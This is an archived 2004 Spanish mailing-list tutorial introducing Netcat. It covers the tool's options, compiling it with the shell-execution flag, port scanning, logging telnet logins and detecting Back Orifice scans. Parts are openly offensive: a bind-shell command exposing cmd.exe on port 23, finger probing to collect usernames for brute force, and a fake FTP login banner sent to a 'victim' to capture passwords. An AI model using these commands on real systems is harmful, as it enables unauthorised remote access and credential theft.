[Seguridad] INTRODUCCION A NETCAT

message from Ille Corvus on 20 Jul 2004
INTRODUCCION A NETCAT
http://www.seguridad0.com

Netcat es un pequeño programa creado para su uso por parte de los
administradores de redes, y por supuesto para los hackers. La
utilidad, en cuestión, fue creada originalmente por Hobbit y llevada a
Windows por Weld Pond de L0pht.

Cabe destacar que la información sobre Netcat y sus usos especificos
es bastante limitada; aunque Hobbit en su documento aclara muchos
detalles, cita algunos ejemplos y argumenta que Netcat puede ser
utilizado para más de mil y una funciones. Se trata de una auténtica
navaja suiza.

Netcat en Windows

Este es el resultado de el comando de ayuda de netcat en una máquina
Windows:

c:>nc -h

connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]

options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

Opciones de Netcat (en español)

-d (Modo Stealth o encubierto)
Esta opción desvincula al programa de la consola, haciéndolo trabajar
en background.

-e<prog> (Ejecuta un programa cuando se conecta)
Puede ser utilizado para ejecutar incluso una shell tanto en WinX como
en *NIX.

-l (Escuchando conexiones)
Deja a un puerto abierto en espera de una conexión.

-L (lo mismo que anteriormente, pero sigue escuchando aun cuando la
conexión es cerrada)
Esta opción es incluida en la versión de Weld Pond de L0pth, y es muy
útil para seguir escuchando en el puerto, a diferencia de -l (donde
la conexión cerrada termina con el proceso de nc).

La opción -L permite seguir escuchando en el mismo puerto (la rutina
de nc -l es reiniciada).

-n (Dirección numerica especifica; no hace un DNS Lookup)
Netcat tiene la facultad de resolver nombres de dominio mediante un
DNS Lookup. Con esta opción le especificamos que no lo haga, y use
solamente direcciones IP.

-o<logfile> (Obtiene un archivo log en Hex de la acción)
Genera un Log de las actividades de Netcat en código Hexadecimal.

-p<puerto> (Puerto para anexarse)
Algunas veces debes especificarle con esta opción el puerto a realizar
una acción.

-s<ip addr> (Anexarse a una IP especifica)
Netcat puede utilizar IP de una red como fuente local.

-t (Funciona como un pequeño demonio Telnet)
Con esta opción le especificas a Netcat que debe realizar
negociaciones Telnet.

-u specify UDP (Utilizar protocolo UDP)
Con esta opción le dices a Netcat que trabaje con protocolo UDP en vez
de TCP.

-v (Modo verbose, mas información; se le puede añadir otra -v para más
información todavía)
Bastante útil y necesario, sobre todo para estudiar demonios en
profundidad y observar todos los detalles en un sniffing.

-w <segundos> (Especifica un tiempo para terminar)
Con esta opción le especificas un tiempo determinado para realizar
conexiones .

-r (Genera un patrón aleatorio de puertos locales o remotos)
Muy útil para evitar patrones lógicos de detección de escaneres.

-g <gateway> (especificar pasarelas)
Una de las opciones más interesantes de Netcat, ya permite utilizar
routers como "puentes" de conexión.

-G <numero> (Especificar puntos de Routing)
Con esta opción podemos crear una cadena aleatoria de Hosts para
crear una ruta perdida para tus paquetes (spoofing).

-i <segundos> Especifica un intervalo de segundos entre puertos
escaneados.

Netcat en Linux

Netcat en una plataforma como Linux se convierte en una utilidad muy
potente, pudiendo ser utilizado en conjunto con lenguajes de
programación como Perl y C, o bien desde la propia línea de comandos
del poderoso Shell de Linux.

Cabe destacar que distribuciones como RedHat Linux vienen junto con
sus paquetes de instalación con una versión limitada de Netcat; lo más
recomendable es bajar de la Red la versión completa de Netcat para
Linux.

La versión de Netcat para Linux es a prueba de novatos, por lo cual
debemos compilar Netcat con unos flags especiales para poder obtener
las opciones -t y -e (Telnet y Gaping Security Hole) ). Para ello
descargas el .tar de netcat y lo desempaquetas en el directorio de tu
preferencia. Una vez dentro del directorio de Netcat lo compilas con
Make utilizando los siguientes Flags:

[root@DarkStar] #make linux DFLAGS=" -DTELNET -DGAPING_SECURITY_HOLE"

Copias el binario (nc) al directorio /usr/bin. De esta manera podrás
usar Netcat directamente, llamándolo de cualquier parte de la Shell;
además de que podrás usar los scripts que hagas (o consigas en la Red)
sin problemas.

Netcat trae unos scripts muy interesantes y bien comentados para que
los estudies y comprendas mejor su implementación en scripts. Los
scripts están en el directorio donde desempaquetaste Netcat, en el
directorio /scripts. Simplemente los ejecutas como siempre: ./probe (o
con el script que quieras).

Utilizando Netcat

Para ilustrar como trabajamos con este programa, lo mejor es observar
ejemplos prácticos y analizar su estructura para poder comprender
mejor cómo funciona y así poder crear nuestras propias aplicaciones.

Algunas de las cosas que podemos hacer con Netcat es, por ejemplo,
obtener una shell en una máquina remota usando la opción -l (Listen),
conjuntamente con la opción -e (ejecutar). Cuando la utilidad corre
con estas variables y la conexión es realizada, Netcat ejecuta el
programa elegido y se conecta a stdin y stdout del programa en la
conexión a la Red.

nc -l -p 23 xxx.xxx.xxx.xx 23 -t -e cmd.exe

Este comando dejará a Netcat escuchando en el Puerto 23 (Telnet).
Cuando es conectado a través del cliente, ejecutará una shell
(cmd.exe).

La opción -t le dice a Netcat que maneje cualquier negociación que el
cliente pueda esperar.

Si esta conexión es realizada desde una máquina NT, la shell correrá
los permisos del proceso que ha generado a Netcat.

La belleza de NetCat es que puede hacer lo mismo en cualquier puerto
Puedes dejar a Netcat escuchando en los puertos Netbios, ejecutándose
en la mayoría de las máquinas NT. De esta manera puedes lograr una
conexión a una máquina que esté utilizando "Filtrado de Puertos"
activado en TCP/IP security Network Control Panel.

Como anteriormente se mencionó, puedes utilizar a Netcat para estudiar
diferentes puertos, con la siguiente sintaxis:

c:>nc -v <IP> <puerto> (puedes añadir otra -v)

Uno de los puertos mas interesantes a la hora de analizar un Host, es
el puerto 79 (Finger). Puedes obtener nombres de usuarios e
información muy util a la hora de planear un ataque por fuerza bruta.
Este comando de Netcat te muestra la flexibilidad del programa en
cuestión, dándote una idea de sus posibilidades:

c:>nc -v <host> 79 < user.txt > log.txt

El comando anterior le dice a Netcat que se conecte en modo verbose al
Host predeterminado en el puerto 79 (Finger) y envíe el contenido del
archivo user.txt. La respuesta del servicio será guardada en el
archivo log.txt.

Escáner

Netcat puede ser utilizado como escáner; sus multiples opciones le
permiten realizar un gran número de combinaciones, pudiendo realizar
escaneos en puertos aleatorios, en puertos conocidos, en modo
ascendente o descendente, con intervalos de tiempo, utilizando
gateways para evitar mostrar la IP origen, etc.

C:nc11nt>nc -v -v -z 127.0.0.1 53 25 21

DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 25 (smtp): connection refused
localhost [127.0.0.1] 21 (ftp): connection refused
sent 0, rcvd 0: NOTSOCK

Aquí se ve un simple escáner; se le pueden añadir puertos escogidos
como en el ejemplo anterior o asignarle un rango de puertos:

C:nc11nt>nc -v -v -z 127.0.0.1 1-53

DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 52 (?): connection refused
localhost [127.0.0.1] 51 (?): connection refused
localhost [127.0.0.1] 50 (?): connection refused
localhost [127.0.0.1] 49 (?): connection refused
localhost [127.0.0.1] 48 (?): connection refused

Los puertos se los especificamos al final de la IP del host, bien sea
individuales o separados por un espacio, o por un rango de puertos.

Sniffer

Otra de las interesantes posibilidades de Netcat es su capacidad para
escuchar conexiones en cualquier puerto, pudiendo redireccionar todo
el tráfico del mismo hacia un archivo o hacia la pantalla. En este
sencillo ejemplo podemos observar las bases de un sencillo sniffer en
Windows:

C:nc11nt>nc -v -v -L 127.0.0.1 -p 23

DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...
DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado
password: jeje

Tambien podemos redireccionar toda la salida a un archivo e irnos a
realizar otras actividades, mientras Netcat hace su trabajo:

C:nc11nt>nc -v -v -L -p 23 127.0.0.1 -t >login.txt

DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...
[Aqui viene la conexión...]
DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1030
[Todo lo que escriba la conexión se va al archivo login.txt]
sent 0, rcvd 42
[La opción -L permite que Netcat escuche nuevamente al terminar la
conexión, "New Victims Wanted" Hehe!]
DNS fwd/rev mismatch: localhost != darkstar
listening on [127.0.0.1] 23 ...

El Exploit-detallado: nc -v -v -L 127.0.0.1 -p 23

Ejecutamos a Netcat con la opción o variable -v (verbose) (doble
"verbose" por si acaso). Esto hará que el resultado de Netcat sea
mostrado directamente en pantalla. La opción o variable -L (escucha)
nos permitirá dejar escuchando o esnifando en determinado puerto aun
cuando la conexión sea interrumpida. Con la variable -p le indicamos
el puerto.

Al ejecutar Netcat con esa combinación de parámetros la opción -v
indica en pantalla el Host y el puerto de escucha:

DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...

Realizamos desde otra ventana un Telnet a localhost (127.0.0.1) en el
puerto 23. Netcat informa sobre lo que ocurre en el puerto 23:

DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado

Detector de conexiones sospechosas

La posibilidad de dejar a Netcat escuchando en determinados puertos,
nos permite crear una especie de "trampa" (honeypot) para un supuesto
agresor que utilice escáneres o herramientas tales como NetBus o
BackOrifice. Incluso, podemos crear un archivo que haga un Flood y
redireccionar su salida hacia el ordenador agresor en caso de una
conexión no autorizada a determinado puerto.

Este es un ejemplo de un detector de BO:

C:nc11nt>nc -u -v -v -L -p 31337 127.0.0.1 31337

DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 31337 ...
invalid connection to [0.0.0.0] from nas1-064.ras.bqm.cantv.net
[161.196.246.65]
31338

Back Orifice utiliza el protocolo UDP para realizar sus travesuras.
Realiza la conexión desde un puerto aleatorio (casi siempre el 1080),
aunque en este caso lo hizo desde el 31338 (posiblemente una variante
de BO). Por eso se utiliza la opción -u (protocolo udp).

Netcat se queda esperando conexiones UDP en el puerto 31337 (por
defecto en BO). Así, cuando alguien hace un sweep a la IP, Netcat lo
detecta enviando a pantalla la IP y el DNS del agresor.

Otros usos

Puedes utilizar algo de ingeniería social para capturar algunas
contraseñas con Netcat. Por ejemplo, si una máquina no tiene abierto
el puerto de FTP o de Telnet, creas un archivo de texto que solicite
el ID y la contraseña de la víctima. Algo así:

Microsoft Internet FTP Server V.5.9 [Beta]
04/16/99 myhost.com
Please introduce Username, password and press "Enter"
LogOn:

Luego redireccionas el archivo hacia la víctima:

C:nc11nt>nc -v -v -L -p 21 nombre del host -t < login.txt

Netcat en lugar de Telnet

Personalmente prefiero usar Netcat para realizar conexiones remotas
como alternativa al Telnet. La ventaja de realizar conexiones Telnet
desde Netcat es que éste esconde "algo" tu conexión, lo que lo hace
mas "sigiloso" que Telnet.

Algunas máquinas interpretan al cliente de Telnet y asumen el nombre
del usuario que lo utiliza; de ahí el por qué algunos servidores sólo
preguntan por la contraseña. Teóricamente Netcat no envía esta
información. Por eso, es recomendable acostumbrarse a utilizar Netcat
para conexiones remotas:

c:> nc -v nombre del host 23(o el puerto de tu preferencia)

Anexo

Este documento fué realizado originalmente por Kliber. Agradecimientos
especiales a Doctor_X (Code Freak), DarkDeath, y a todos los miembros
de nuestra comunidad por su colaboración.

Revisado y adaptado para esta versión por el equipo de Seguridad0

Descarga del programa (Windows y Linux)
http://www.atstake.com/research/tools/network_utilities/
 

Archived message: [Seguridad] INTRODUCCION A NETCAT (Microsoft WinXP)